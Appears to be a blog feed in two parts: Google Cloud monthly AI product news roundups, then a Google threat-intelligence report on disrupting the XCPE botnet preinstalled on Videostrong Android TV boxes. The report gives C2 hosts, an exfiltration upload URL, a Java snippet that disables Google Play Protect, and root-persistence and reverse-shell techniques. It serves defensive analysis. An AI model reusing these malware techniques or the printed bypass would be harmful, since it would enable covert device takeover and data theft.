Managed Agents API on Agent Platform: Allows developers to build and run custom agents inside secure, Google-hosted environments that seamlessly integrate with Agent Platform.
CodeMender: A powerful AI security agent provided through Agent Platform, CodeMender can help find and fix vulnerabilities in your code.

Nano Banana 2 and Nano Banana Pro are generally available: Available today via Gemini Enterprise Agent Platform, organizations are already putting the models to work. Learn more here.

Thought leadership (editor’s pick):

Cloud CISO Perspectives: How Google + Wiz changes multicloud strategy for CISOs: Vinod D’Souza, director, Office of the CISO, shares highlights from his RSA Conference fireside chat with Anthony Belfiore, chief strategy officer, Wiz. While threat actors have seen gains from the adversarial misuse of AI, Google and Wiz are tackling these challenges head-on by combining Wiz's deep cloud telemetry with Google's world-class AI and quantum research to help CISOs and their organizations meet the needs of the agentic enterprise era. Read more here.

News you can use:

What Google I/O '26 means for developing agents on Google Cloud: Dig deep into how Gemini Enterprise Agent Platform and the new developer tools shared at I/O fit together, unpack the spectrum of choice for building, and share what we’d actually try first. Learn more here.

Five must-have guides to move agents into production with Gemini Enterprise Agent Platform: Here is a look back at our five-part series covering the architecture patterns and best practices you need to move your agents into production. Learn more here.
How to build an AI-ready security program for the public sector: From industrial control systems to decades-old municipal databases, here’s our CISO guidance to prep AI-ready security programs for the public sector. Learn more here.

April

We hosted Google Cloud Next in Las Vegas on April 22, announcing incredible innovations from Gemini Enterprise Agent Platform to our eight-generation TPUs. We also expanded the Gemini Enterprise app in collaborative ways – now, with new features like Projects, you can work side-by-side with your agents and colleagues.

If you missed the livestream, take a look at our Day 1 recap. It’s been incredible to see how customers have been applying AI in thousands of ways — so far, we’ve counted more than 1,300 examples.

Top announcements

1. Gemini Enterprise Agent Platform: Our new, comprehensive platform to build, scale, govern, and optimize agents. Moving forward, all Vertex AI services and roadmap evolutions will be delivered exclusively through the Agent Platform, rather than as a standalone service, to power the next generation of agent development.

The platform is designed around four core pillars — build, scale, govern, and optimize — that allow teams to collaborate seamlessly. Learn more about Agent Platform here.

2. Gemini Enterprise app has all the key components to let teams discover, create, share, and run AI agents in a single environment. At Next ‘26, we introduced several new capabilities in the Gemini Enterprise app:

Agent Designer uses the same no-code agent designer experience of Agent Platform and lets employees build sophisticated schedule- and trigger-based agents using any enterprise connector. It gives you a virtual flowchart of your agent, allowing you to inspect, test, and approve workflows, ensuring total transparency for executing critical business processes.
Long-running agents are designed to execute complex business processes. They can work autonomously in secure cloud sandboxes, giving agents the ability to orchestrate business logic, write code to build custom tools, and complete multi-step work like reconciliation activities or sales prospect sequencing — without needing constant prompting.
Inbox in Gemini Enterprise provides a central location to monitor, guide, and help manage all of your agent activity, including your long-running agents. Notifications are intuitively categorized into actionable groups like "Needs your input," "Errors," and "Completed.”
Projects create a dedicated space where the agent’s memory is confined to the files and conversations your team adds. By connecting it to data sources including Google Drive, NotebookLM, and Google Group Chats, the agent becomes an expert on a specific topic and can provide team members daily briefings or status updates without digging through months of documents.
Skills create simple shortcuts using an “@” mention for repetitive tasks such as applying brand guidelines, formatting a report, and accessing specific data.
Canvas gives our customers an interactive editor directly within Gemini Enterprise. It allows teams to easily create and edit Docs and Slides, and even export to Microsoft 365 files, within the same experience.
Agent Gallery provides access to third-party agents from partners like Adobe, Atlassian, Lovable, and ServiceNow, and is adding more third-party connectors for Asana, Mailchimp, Workday, and more. These integrations enable your agents to retrieve data and execute tasks with your systems-of-record.

3. AI Hypercomputer: Designed specifically for demanding AI workloads, our AI Hypercomputer is an advanced, purpose-built architecture that unites performance-optimized hardware for compute, storage, networking, open software and machine learning frameworks — as well as flexible consumption models — into a single, integrated system. We are announcing innovations at every layer of the AI Hypercomputer:

TPU 8t, optimized for training, uses breakthrough Inter-Chip Interconnect (ICI) technology to scale up to 9,600 TPUs and 2 PB of shared, high-bandwidth memory in a single superpod. It achieves 3x the processing power of Ironwood and delivers up to 2x more performance/Watt.
TPU 8i, optimized for inference, uses our new Boardfly topology to directly connect 1,152 TPUs in a single pod. It features 3x more on-chip SRAM compared to previous versions to host larger KV caches entirely on-silicon and integrates a specialized Collectives Acceleration Engine. Taken together, TPU 8i delivers 80% better performance per dollar for inference than the prior generation, enabling millions of concurrent agents to run cost-effectively.

4. The Agentic Data Cloud: A new data architecture built for the speed and scale of agentic AI. The Agentic Data Cloud delivers an AI-native architecture, allowing agents to perceive, reason, and act on your behalf in real-time, including:

Cross-Cloud Lakehouse, standardized on Apache Iceberg, is our Lakehouse that enables you to leave your data in AWS or Azure (coming later this year) while querying it instantly — without the friction of vendor lock-in or the cost of data movement
Knowledge Catalog constructs a unified, dynamic context graph of your entire business enabling you to ground agents in all of your business data and semantics. With Smart Storage and the Object Context API, files in Google Cloud Storage are instantly tagged and enriched with metadata before an agent touches them. Then our Knowledge Engine uses Gemini to autonomously tag, define logic and instantly map complex relationships across your entire enterprise, providing the semantic definition your agents have been missing.

5. Protecting the agentic enterprise: Security built for the AI era. Our full-stack AI approach, from the chips to the models, gives you a competitive advantage with better integration and velocity to help protect customers. Not only can Google action insights from the world’s largest threat observatory and Mandiant frontline experts, but we also bring cutting-edge insights and breakthroughs from Google DeepMind, to help make your platforms more secure.

Agentic defense: Three new agents in Google Security Operations can help hunt threats, engineer detections, and provide context on third parties. You can build your own security agents with remote Google Cloud model context protocol (MCP) server support for Google Security Operations, now generally available. You can also access the MCP server client directly from the Google Security Operations chat interface, available in preview.
Protecting AI and cloud apps across any infrastructure with Wiz: Newly expanded AI coverage helps build secure agents across clouds and AI studios. New AI-Bill of Materials in development tools can help secure AI-generated code and mitigate the risk of shadow AI. Learn more.
Securing agents and the agentic web: Model Armor can integrate with Agent Gateway, and new Agent Identities provide more layers of defense against shadow AI. Google Cloud Fraud Defense, the next evolution of reCAPTCHA, offers agent-specific capabilities that can help secure the agentic web as well as the entire user and customer journey.
Trusted Cloud: We’re simplifying permissions with modern IAM, and advancing Google Cloud security with new capabilities in Security Command Center plus new innovations in data and network security.
New partner-supported workflows for Google Security Operations: This new robust cohort of partner integrations includes partners developing their own agentic security operations centers (SOCs).

You can catch up on all our security announcements from Next ‘26 here.

News you can use

Guide to prompting Gemini 3.1 Flash TTS (text-to-speech): The new TTS model introduces a high level of controllability by allowing you to steer the delivery using more than 200 audio tags. We'll share how to get strong results from the model, whether you are building accessible gaming soundtracks, banking systems, or audiobooks. Learn more about the model here.
Ultimate prompting guide for Lyria 3 models: Lyria 3, Google's family of music-generation models, is designed to give you granular control over vocals, instrumentation, and arrangement. So we spent weeks testing against every musical genre and use case we could imagine. We put together this guide to share exactly what we learned and how you can get the best results.
How to find the sweet spot between cost and performance: This guide will walk you through Google Cloud's flexible gen AI infrastructure options, showing you how to find that sweet spot on the efficient frontier between cost and performance. We'll start with the foundational pay-as-you-go (PayGo) models and then explore how to layer on more specialized options to build a robust and cost-effective gen AI strategy.
Essential AI and cloud security now on by default: To support the next generation of AI innovators, we are offering on by default essential AI security and cloud security in Security Command Center Standard.
Securing AI inference on GKE with Model Armor: Here’s how to secure AI inference on Google Kubernetes Engine with Model Armor and high-performance storage.
Cloud CISO Perspectives: AI, security, and the workforce of the future: You can’t bring traditional security to an AI fight, so how do we defend against AI-powered attacks, boost defenders with AI, and secure AI use? Drop in on this RSA Conference fireside chat between Francis deSouza, Google Cloud COO and President, Security Products, and Nick Godfrey, senior director, Office of the CISO.

March

March was a busy month for our AI teams. We launched Gemini Embedding 2, rolled out a highly cost-effective Veo 3.1 Lite model, and officially welcomed the Wiz team to Google Cloud to help redefine security in the AI era.

Alongside these launches, we created comprehensive guides to help you get the most out of these models, from prompting formulas for Nano Banana 2, to practical advice for optimizing your TPU training. Here’s a quick look at the latest news and resources to help your team build what’s next.

Top hits:

Gemini Embedding 2: Our first natively multimodal embedding model: Gemini Embedding 2 is our first natively multimodal embedding model that maps text, images, video, audio and documents into a single embedding space, enabling multimodal retrieval and classification across different types of media — and it’s available now in public preview.
Build with Veo 3.1 Lite, our most cost-effective video generation model: This model empowers developers to build high-volume video applications, at less than 50% of the cost of Veo 3.1 Fast, but with the same speed. This rounds out the Veo 3.1 model family, giving developers flexibility based on needs. For Cloud customers, it’s now available on Vertex AI.

Here’s a fun bonus: Check out our ultimate prompting guide for Veo 3.1 to get started.

Welcoming Wiz to Google Cloud: Redefining security for the AI era: Google has completed its acquisition of Wiz, a leading cloud and AI security platform. The Wiz team will join Google Cloud, and we will retain the Wiz brand. With the addition of Wiz, we will provide customers with a comprehensive platform to secure their cloud and hybrid environments, as well as accelerate threat prevention, detection, and response.
Gemini 3.1 Flash Live: Making audio AI more natural and reliable: We’ve improved 3.1 Flash Live’s overall quality, making it more reliable for developers and enterprises to build voice-first agents that can complete complex tasks at scale. On ComplexFuncBench Audio, a benchmark that captures multi-step function calling with various constraints, it leads with a score of 90.8% compared to our previous model.

News you can use:

The ultimate Nano Banana prompting guide: This is a must-read for anyone working with Nano Banana. We spent weeks testing Nano Banana 2 and Nano Banana Pro against every use case we could imagine to test its limits. We put together this guide to share exactly what we learned and how you can get the best results. Here’s an example formula: [Reference images] + [Relationship instruction] + [New scenario]

A developer’s guide to training with Ironwood TPUs: In this guide, we hear from Lillian Yu, CPA, CA , Product Strategy and Operation, and Liat Berry, Product Manager, on five strategies within the JAX and MaxText ecosystems designed to help developers refine training efficiency and hit peak performance on Ironwood hardware.
How to build production-ready AI agents with Google-managed MCP servers: In this guide, we anchor on a specific example. Cityscape is a demo agent built with Google's Application Development Kit (ADK) that turns a simple text prompt — like "Generate a cityscape for Kyoto" — into a unique, AI-generated city image. Check out the guide to learn more.

February

In February, we’re giving developers more reasoning power with Gemini 3.1 Pro and Claude 4.6, and faster creative scaling with Nano Banana 2. We’re also opening up new training programs and step-by-step guides to help you tackle the hardest parts of the AI lifecycle, from capacity planning to mounting defenses against AI-powered attacks.

Here’s a rundown of our latest news, tools, and resources to help you build what’s next.

Top hits

Pro-level image generation gets faster and more accessible with Nano Banana 2: To build creative that stands out, you need models that naturally integrate into your workflows and scale with ease. Check out our blog to see how this comes to life (and how customers are putting the model to work).

Introducing Gemini 3.1 Pro on Google Cloud: Gemini 3.1 Pro is a clear step forward in reasoning, designed to solve tougher problems, giving you the reasoning depth your business needs. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.
Announcing Claude Opus 4.6 and Claude Sonnet 4.6 on Vertex AI: Now generally available on Vertex AI, explore our sample notebook to get started and visit our documentation for comprehensive pricing and regional availability details.
New AI threats report: Distillation, experimentation, and integration: John Hultquist, chief analyst, Google Threat Intelligence Group, details what security leaders should know from our newest AI threat report on experimentation, integration, and distillation attacks.

News you can use

A developer's guide to production-ready AI agents: To help developers work through these challenges, we've published a collection of guides covering the full agent lifecycle. These resources first appeared during Kaggle’s 5 days of AI Agents Intensive, and they’ve proven so popular and useful, we wanted to make sure a wider audience had access, as well.
Gemini Enterprise Agent Ready (GEAR) program now available: We opened the Gemini Enterprise Agent Ready (GEAR) learning program to everyone. As a new specialized pathway within the Google Developer Program, GEAR empowers developers and pros to build and deploy enterprise-grade agents with Google AI.
Your guide to Provisioned Throughput (PT) on Vertex AI: Check out this deep-dive blog designed to show you the resources available to you today on Vertex AI, and how you can get started capacity planning.
How AI can boost defenders, from defense in depth to the cyber kill chain (Q&A): We know that defenders are also developing powerful AI tools, but what’s still unknown is what it could mean for enterprise software ownership if companies have to constantly mount AI-directed defenses at AI-powered attacks?

Janurary

We used to have to learn the language of computers. In 2026, they’re learning ours.

We kicked off the year by exploring the future of agentic commerce, where AI agents navigate the web to find and buy products for us. Our leaders call this the "invisible shelf" — a world where commerce isn't tied to a specific website. To make this reality scalable, we announced the Universal Commerce Protocol (UCP), a shared language that allows agents and retailers to understand each other.

We brought that same fluency to our creative and technical tools:

Updates to Veo 3.1 allow creators to use simple inputs — like reference images — to generate precise, mobile-ready video.
Natural language queries: With Comments to SQL in BigQuery, we’re removing the language barrier to data. Engineers can now write queries by describing their intent in natural language, prioritizing the question over the code.

Let’s dive in.

Top hits

1. Gemini Enterprise for Customer Experience (CX): Specifically built for agentic retail, this platform transforms fragmented search, commerce and service touch points into one seamless journey — whether you need a shopping assistant, a support bot, agentic search or help with merchandising.

2. We announced Universal Commerce Protocol (UCP): A new open standard for agentic commerce that works across the entire shopping journey — from discovery and buying to post-purchase support. UCP establishes a common language for agents and systems to operate together across consumer surfaces, businesses and payment providers. So instead of requiring unique connections for every individual agent, UCP enables all agents to interact easily. UCP is built to work across verticals and is compatible with existing industry protocols like Agent2Agent (A2A), Agent Payments Protocol (AP2) and Model Context Protocol (MCP).

3. We updated Veo 3.1, including improvements to Ingredients to Video and Portrait mode: Veo is getting more expressive, with improvements that help you create more fun, creative, high-quality videos based on ingredient images, built directly for the mobile format. This includes:

Improvements to Veo 3.1 Ingredients to Video, our capability that lets you create videos based on reference images.
Native vertical outputs for Ingredients to Video (portrait mode) to power mobile-first, short-form video creation.
State-of-the-art upscaling to 1080p and 4K resolution 1 for high-fidelity production workflows.

These updates are launching in the Gemini app, YouTube, Flow, Google Vids, the Gemini API and Vertex AI.

4. Vibe querying with comments-to-SQL: Crafting complex SQL queries can be challenging. Often, engineers simply want to express their data needs in plain English directly within their SQL workflow. That’s why we’re introducing Comments to SQL in BigQuery. This feature makes writing queries using natural language – ‘vibe querying’ – a reality. Learn more in the blog.

News you can use

Mastering Gemini CLI: Your complete guide from installation to advanced use-cases: We’ve teamed up with DeepLearning.ai and are excited to announce a free course – Gemini CLI: Code & Create with an Open-Source Agent. This course isn’t just for developers; we dive into practical use cases for various tasks such as data analysis, content creation, and personalized learning.
How Google SREs use Gemini CLI to solve real-world outages: In this article, we’ll delve into real scenarios that Google SREs are solving today using Gemini 3 (our latest foundation model) and Gemini CLI—the go-to tool for bringing agentic capabilities to the terminal.
Getting started with Gemini 3: Deploy your first Gemini 3 app to Google Cloud Run: In this blog, we will show you how to vibe code your first app—which leverages the Gemini 3 Flash Preview model and deploy it as a publicly accessible URL on Google Cloud Run. Google AI Studio lets you go from idea to app quickly by using natural language to generate fully functional apps using the power of Gemini 3.
Practical guidance: Building with the Secure AI Framework (SAIF) on Google Cloud: We know that security and data privacy are the top concern for executives when evaluating AI providers, and security is the top use case for AI agents in a majority of industries. To help you build AI boldly and responsibly, here’s our guide to developing AI with the Secure AI Framework (SAIF) on Google Cloud.
The truths about AI hacking that every CISO needs to know (Q&A): How will AI boost threat actors? And what can chief information security officers do about it? Google’s Heather Adkins, vice-president, Security Engineering, explores how securing the enterprise is about to change.

Shutting the Door on the XCPE Botnet

Mon, 02 Nov 2026 14:00:00 +0000

Introduction

Last week, Google and industry partners dismantled the XCPE backdoor which enrolled more than 1.3 million set-top boxes into a botnet. We assess with high confidence that the backdoor and botnet were intentionally developed, deployed, and operated for financial gain by Videostrong Technology Co., an Android Original Equipment Manufacturer (OEM) and Original Design Manufacturer (ODM).

Videostrong monetized the backdoor by selling access to criminal affiliates and loading those affiliates’ malware modules onto infected devices. These secondary modules were conducting ad-fraud; silently enrolling infected devices into residential proxy networks; and loading additional malware onto XCPE-compromised devices. We also took action to disrupt the command and control (C2) domains that operate these affiliate modules. Because these affiliates each have diversified distribution channels for their modules beyond XCPE, we assess that taking down their C2 domains will sever access to at least 10 million additional compromised devices.

We found this malicious software built directly into many different device models and brands over multiple years, supported by dedicated infrastructure and constantly evolving configurations to evade detection and manage their affiliates. We believe this campaign wasn’t an isolated rogue insider or a development oversight. As a result, Google has cut ties with Videostrong and banned them from making devices with preloaded Google apps.

Google requires OEMs go through a comprehensive suite of compatibility and security tests to ensure a consistent and safe user experience across the Android ecosystem. However, Videostrong employed obfuscation techniques to exploit a gap in our tests and load malicious code after the device's first boot. As a result, Google has implemented changes to its existing review process to better safeguard against similar activity in the future. A device manufacturer intentionally infecting their users with malware is an unacceptable breach of trust, and represents a serious risk to those users. Without users’ knowledge or consent, infected devices were offered as a distribution mechanism for a wide array of criminal actors. This led to a variety of malicious activities being conducted on and through the devices, including ad-fraud, data exfiltration, and routing malicious network traffic through the devices.

We worked closely with Japan’s National Police Agency, Lumen, HUMAN Security, Plume, Synthient, and TrendAI to analyze this malware ecosystem and disrupt its operations.

While we expect this disruption to have a significant effect on these criminal operations, this is not the end of our work combatting malicious activity. Backdoor operators, ad-fraud rings, and residential proxy providers operate as an interconnected supply chain. Point-in-time disruptions are a critical tool to protect our users, but lasting disruption in this fluid ecosystem will require continued targeting of this infrastructure.

Google undertook the following actions to support disruption of the XCPE botnet:

Legal action to take down the domains and servers Videostrong used to control the botnet and install malware modules
Legal action to take down C2 domains used by over a dozen malware families loaded as modules via this backdoor
Banned Videostrong and any future subsidiaries or affiliates from building and selling certified Android devices in the future, or supplying software to other certified vendors
Implementing improvements to how we ensure the integrity of firmware on certified Android TV devices

Overview

The x.cpe network was built for ongoing profit. By giving malware affiliates backdoor access, the operators conspired to monetize these devices long after purchase.

Figure 1: XCPE malware overview

Malware

Since at least late 2024, Videostrong has evolved its pre-installed malware from simple single-stage droppers into a modular, three-stage architecture designed for resilience and multi-tenant monetization:

Primary Backdoor: Operating at the android.uid.system privilege level, x.cpe (running as com.oemservice in some builds) is preloaded in the firmware partition. If uninstalled by a user, it automatically reinstalls from the /oem/ partition upon reboot, maintaining persistent system-level access. Its main function is to establish and facilitate communications between the C2 server and the loader and execution engine.
Loader and Execution Engine: To evade security scans, x.cpe acts primarily as the C2 communicator and offloads module execution to an external loader, com.abc.nexus. This file employs native anti-analysis utilities to thwart sandbox detection, and configures and initializes the monetization modules. Most recently, com.abc.nexus has itself been phased out in favor of using more tailored dropper malware that loads and executes single modules.
Monetization Modules: Videostrong monetizes its backdoored devices by loading monetization modules which are developed by entities other than Videostrong that act as affiliates. These modules are deployed as native ELF daemons, embedded SDKs compiled directly into the com.abc.nexus DEX bytecode, or are fetched as secondary APKs from the malware staging infrastructure. The loaded modules transform infected devices into residential proxy exit nodes (e.g., Linkfog, AppSalt, NetNut), ad-fraud engines (e.g., CBOXTV, HiddenView), or execute additional backdoors that load even more monetization modules (e.g. Moyu, Spirit).

Infrastructure

Command and Control: The botnet uses a two-stage C2 process. It first initiates HTTP POST requests to fetch dynamic configuration settings, geolocation data, and STUN server parameters. It then establishes a persistent, real-time Message Queuing Telemetry Transport (MQTT) connection to receive instructions for silent app installations, arbitrary shell commands, screen captures, and network reconnaissance. MQTT is a lightweight, publish-and-subscribe network protocol designed for low-bandwidth, high-latency, or unreliable remote networks.
Malware staging infrastructure: Additional monetization modules as well as various shell scripts and legitimate applications are hosted remotely and downloaded by infected devices upon command from the operator via the MQTT broker. A significant majority of these files are hosted as Github releases on operator-owned Github pages. Other files are hosted on operator-controlled servers and file hosting sites.

Malware Deep Dive

Backdoor Initialization

The infection chain begins with a stub package (called x.cpe in some builds and com.oemservice in others) preloaded in the system partition of the firmware and running at the android.uid.system privilege level. This stub has limited functionality. Upon boot, it checks the device's oem/ directory for the corresponding x.cpe package and initiates installation into the /data/app/ directory as outlined below.

To maintain inter-process state across the firmware ecosystem, x.cpe exports two ContentProviders, which expose structured configuration tables storing runtime parameters, device identifiers, proxy configuration blobs, and execution flags accessible by co-installed system applications. This enables other apps in Videostrong’s ecosystem, such as their YokaTV Player streaming software, to fetch configuration parameters provided by the C2 server mentioned below.

C2 Configuration

The malware utilizes a two-stage communications protocol. It first fetches initial bootstrap configurations via an HTTP request, followed by a persistent MQTT subscription to receive commands and module download instructions.

To dynamically derive the HTTP C2 bootstrap server, it follows the following routine:

Queries content://com.release.debug.provider/configs for private_url via x.cpe.util.ExtraReadUtils.
Queries the Android system property to determine if ro.mecool.device is true.

If true, it defaults to http://mcstb.anyevonline.com:8000
If false, it dynamically generates the following: http://stb[AndroidVersion][Type].anyevonline.com:8000.

Using the selected hostname, the client makes an HTTP POST request with an AES-encrypted JSON object containing hardware telemetry (SN, MAC, model, firmware version) to the following endpoints:

/router/config/mqtt: This endpoint provides MQTT broker details (including Broker Hostname, TCP Port, Authentication Tokens/Passwords, and the specific Topic structure: /device/{model}/{chipId}/{action}. After receiving this data, the device initiates a persistent, real-time socket connection to the MQTT broker.
/router/config/acs: This endpoint response returns URLs for ip-api[.]com and a Google STUN server to enable the malware to identify geolocation and public IP and port mapping to traverse network address translation (NAT) boundaries. It also returns a URL (http://ott.szbboys[.]com:8000/cpe/file/upload for uploading files, logs, or diagnostic dumps from the device, and returns flags to configure ad modules (adBwmActive, adDevourUse, adDevourCode), and to enable or disable core malware modules.
/router/config/app: This endpoint provides module-level configs, including server mappings and parameters, which x.cpe decrypts and passes to a SQLite ContentProvider named ShareProvider (com.oem.share.provider). By exposing this inter-process data interface, x.cpe enables modules to retrieve up-to-date upstream infrastructure parameters (such as URLs for additional configs, user manuals, etc).

MQTT Capabilities

Following initial configuration, persistent real-time C2 communication is managed by the MQTT library (x.cpe.mqtt.MqttUtils). All identified samples analyzed to date utilize a single broker hostname, mqtt.szbboys[.]com.

Specific MQTT topics are mapped to specific actions, including:

Silent Application Installation: Fetches remote APKs to a temporary directory.
Disable Google Play Protect: To bypass security, AppUtils.disablePackageVerify() targets the global setting "package_verifier_user_consent" via Settings.Global.putInt and sets it to -1, disabling Google Play Protect app verification.
Arbitrary Shell Execution: Executes remote commands via sh under system UID privilege level. Results are published to the MQTT broker.
Shell Script Execution: Downloads and executes shell scripts via x.cpe.util.RunCmds.
Remote Desktop Monitor & Screen Capture: Utilizes android.app.Instrumentation.sendKeyDownUpSync() to inject keycodes and Java reflection on hidden APIs (android.view.SurfaceControl.screenshot / SurfaceControl$ScreenshotHardwareBuffer) to continuously capture the screen, compress to JPEG, and publish over MQTT.
Network Reconnaissance: Invokes embedded binaries (libtraceroute.so) to fingerprint the victim network, and perform standard ping tests. The binaries also perform robust AS-lookup WHOIS routing queries.

Our analysis of the C2 data indicates the preponderance of interactions with victim devices were related to module install, uninstall, and configuration actions. We also observed Videostrong operators executing sensitive actions on the device, including capturing live screenshots; injecting keystrokes; exfiltrating sensitive data including account information, device information, package inventories, and system logs; and executing shell scripts and commands, including to establish reverse shells on devices.

Loader and Execution Engine Details

Earlier versions of x.cpe directly embedded malicious monetization modules. In late 2024 – possibly as a response to earlier Google enforcement related to BadBox – Videostrong removed malicious modules from x.cpe and introduced a separate malicious package they developed, com.abc.nexus, which x.cpe routes instructions and data to via Inter-Process Communication (IPC). Modern variants of x.cpe facilitate C2 communications but pass configuration parameters, module updates, and other payloads to com.abc.nexus as the execution engine. We believe the actor may have evolved the malware in this way in an attempt to ensure x.cpe could remain undetected.

Upon boot, com.abc.nexus.broadcast.BootReceiver broadcasts the com.abc.nexus.data intent, bootstrapping com.abc.nexus.service.CoreService. Within CoreService.onCreate, the application performs maintenance and persistence tasks. The main logic sets up a listener through RemoteMessageHandler for IPC communications from x.cpe,and parses JSON payloads received from it.

After these steps, CoreService initializes the monetization modules. com.abc.nexus services extract and orchestrate a series of nested native libraries and dynamically downloaded secondary payloads which vary significantly based on sample. Many versions of com.abc.nexus come preloaded with four or more embedded modules, while other versions contain as few as one. The most common malware modules include TitanService, BwmService, AdtimeService, lb102Service, and LinkfogService (sometimes called AgentService). Discussion of these and other modules can be found in the monetization modules section.

Persistence and Evasion

The malware operators implement a number of mechanisms to establish persistence and thwart detection and analysis.

As a system preload, x.cpe cannot be removed by the user. If x.cpe is uninstalled from /data/app/, upon reboot the x.cpe service BootReceiver follows the same routine outlined above and reinstalls the package.

The backdoor is able to silently download additional files to the device and execute them without user consent because it first wipes user consent configuration on the device and then disables Google Play Protect:

public static void disablePackageVerify() {
    PreferenceUtils.setPackageVerifyFromUser(CPEApp.instance, true);
    AppUtils.setPackageVerify(-1); // Actioning a bypass against GPP evaluation
}

Figure 2: Disabling Google Play Protect

In many variants of com.abc.nexus, we observed the extraction of a sophisticated anti-analysis and process hardening utility libseccomp_guard.so, which runs prior to the initialization of malware modules, to ensure they remain protected from automated sandboxes and security instrumentation. It filters system calls to prevent the pausing or termination of individual threads, denies cross-process interference to ensure isolation, and prevents the spawning of child processes.

Evolution

Since August 2026, new dropper packages have been installed via the MQTT channel, which appear to be synchronized with the mass-uninstallation of com.abc.nexus across the botnet. We assess this may represent a new evolution of the malware to further evade detection. These new packages are disguised as Android system applications, with names such as com.android.system.ntp and com.android.sso.auth.handler. Where com.abc.nexus could act as a general purpose loader and execution engine (executing instructions passed to it from x.cpe), these packages instead install single monetization modules (such as AppSalt). Multiple variants of these packages extract a native ELF file, libexploit.so, which in turn executes functions nativeAdbRoot() and nativeAdbShell(). These functions restart the local adbd service as root, and initiate an ADB shell connection. Following this, the app uses the connection to install itself in the system partition. The system partition is remounted as read-write and the payload replicates itself to a newly minted directory in /system/priv-app/ and creates an XML file at /system/etc/permissions/privapp-permissions-<app name>.xml. This file grants the malware android.permission.INSTALL_PACKAGES and android.permission.REBOOT.

The app configures the malware modules through hardcoded configuration parameters, and does not listen for x.cpe IPC messages. The app itself is controlled by the operators via shell scripts pushed via the broker and executed by x.cpe. These include setting the property persist.networkstack.uninstall (which, when read by the app, triggers uninstallation and cleanup), persist.networkstack.skip_system_install (which skips system installation, forcing it to remain running in /data/app/), and persist.networkstack.install_time (which implements timestomping, overriding the default timestamp of the app to align with the other packages installed in the system directory).

Botnet composition

The botnet is globally dispersed, with certain concentrations possibly implying market penetration for the brand distributor.

Figure 3: Global distribution of x.cpe

While the overwhelming majority of the infected devices in the XCPE botnet are Android TV set-top boxes, we observed a number of other infected Android-based IoT devices, including telehealth devices, karaoke machines, and digital signage devices.

Monetization

x.cpe loads a variety of malicious modules for monetization. Most often the modules are associated with residential proxy services and bandwidth sharing, but we've also observed ad fraud modules. Given that a single device may be running multiple modules providing the same or similar functionality (e.g., as many as three residential proxy SDKs installed on a single device) it is clear that Videostrong seeks to monetize every infected device to the greatest extent possible.

Services are loaded by com.abc.nexus via three methods:

Native Daemons: Native ELF binaries prepackaged with com.abc.nexus, which are unpacked to data directories and spawned as background processes with system/root privileges.
Embedded SDKs / Services: Java/Kotlin SDKs compiled directly into Nexus and invoked via Android Service lifecycles or IPC broadcast triggers.
Dynamic Droppers & Secondary APK Installers: Downloader function that pulls remote native ELFs or secondary standalone APKs and invokes system package managers. Nexus receives messages from x.cpe directing it to download specific modules.

Malware modules loaded via the backdoor include the following:

Residential Proxy / Bandwidth Sharing Modules

LINKFOG

Com.abc.nexus’s LinkfogService unpacks a Go binary named lw_android_agent from assets/ to local app storage and supplies it with vendor parameters. This service silently turns infected devices into residential edge computing and PCDN proxy exit nodes. It connects to FRP reverse tunnels, and uploads bandwidth accounting metrics to Linkfog API backends. Linkfog (operated by Beijing Linkfog Technology via 点心云 / Dianxinyun) brands itself as a “Peer-to-Peer Content Delivery Network”.

Jaguar

The com.abc.nexus AdtimeService extracts libjaguar.so from assets/. The file is an unobfuscated 32-bit ELF binary written in C, compiled as a native Android binary. It utilizes JNI (Java Native Interface) to initialize its core routines, dynamically derives a ChaCha20 decryption key via ARM NEON SIMD instructions to decode heavily obfuscated configurations , and establishes an encrypted C2 channel. Upon successful registration, the C2 responds with JSON configuration specifying proxy endpoints. The proxy command loop x_ctrl_do_ctrl_msg delegates proxy operations based on incoming JSON variable commands, and is capable of both TCP and UDP relay.

AppSalt / Honeygain

AppSalt SDK is the residential proxy SDK owned by Honeygain, which is in turn owned by Oxylabs. com.abc.nexus.service.CoreService initializes Appsalt SDK. First, the application obtains an Appsalt SDK API key from a native library libnative_keys.so by calling its getAppsaltKey() function. Appsalt SDK is initialized without displaying a consent screen - instead it explicitly calls the optIn() method which sets a consent flag without displaying any user interface. During Appsalt SDK startup it checks the application's installation source and stops execution if the application was installed from the official Google Play Store.

Once Appsalt is successfully initialized it establishes a WebSocket connection with the primary command and control domain. Appsalt uses JSON-formatted messages for initial check-in (registration) and heartbeat requests. Appsalt command and control servers use MessagePack formatted messages to issue commands pertaining to proxy operations. Appsalt SDK is configured with an initial set of domains that act as proxy gateways. The list of proxy gateways can be updated by the command and control server. The device establishes UDP / QUIC connections with these gateways.

BWM / IPWeb

This residential proxy and bandwidth-sharing node is implemented through the com.abc.nexus.service.BwmService component (sometimes named com.abc.nexus.service.SN4Service) and its associated SDK. Upon initialization, it secures itself within an isolated sandbox environment, captures device telemetry, and registers with a remote server over UDP. From this C2, it receives instructions to initiate a Java NIO TCP multiplexed proxy tunnel. The service functions to route arbitrary traffic through the infected device on behalf of a remote threat actor.

GaGaNode

GaGaNode is the first-party SDK owned by residential proxy operator IPCola. It connects over TCP to a primary C2 server and sends heartbeat beacon data over HTTP POST to a separate server. The SDK both contains its own proxy relay functionality, and it initializes additional proxy SDKs from affiliates. Upon device registration to the C2, com.gaganode.sdk.node.endpoint.a receives incoming packets from relay servers and places them in queue for the client to read and proxy through its exit node socket. The service manages multiple proxy sessions at once (referred to as clients), and each client has its own tcp/udp queue for messages.

We observe GaGaNode initializing PopaNet/NetNut and EarnFM Fleet residential proxy SDKs. GaGaNode/IPCola is thus likely able to further monetize its SDK and offer these affiliates access to the infected exit nodes.

NetNut / Popanet

Popanet is a residential proxy SDK developed by NetNut, a residential proxy operator. The GaGaNode module initiates the Popanet SDK (io.popanet.Popa). This malware is identical to the malware described in our previous disruption of NetNut. All C2 infrastructure used by Popanet samples connected to x.cpe was taken down as part of the earlier Netnut disruption.

Traffmonetizer

The Traffmonetizer SDK is initialized inside the primary background service com.abc.nexus.service.CoreService. CoreService operation depends on the availability of policy JSON provided by the XCPE backdoor via IPC. Before calling Traffmonetizer SDK initialization methods, the application obtains a Traffmonetizer SDK API key from the native library libnative_keys.so by calling its getTraffmonetizerKey() function.

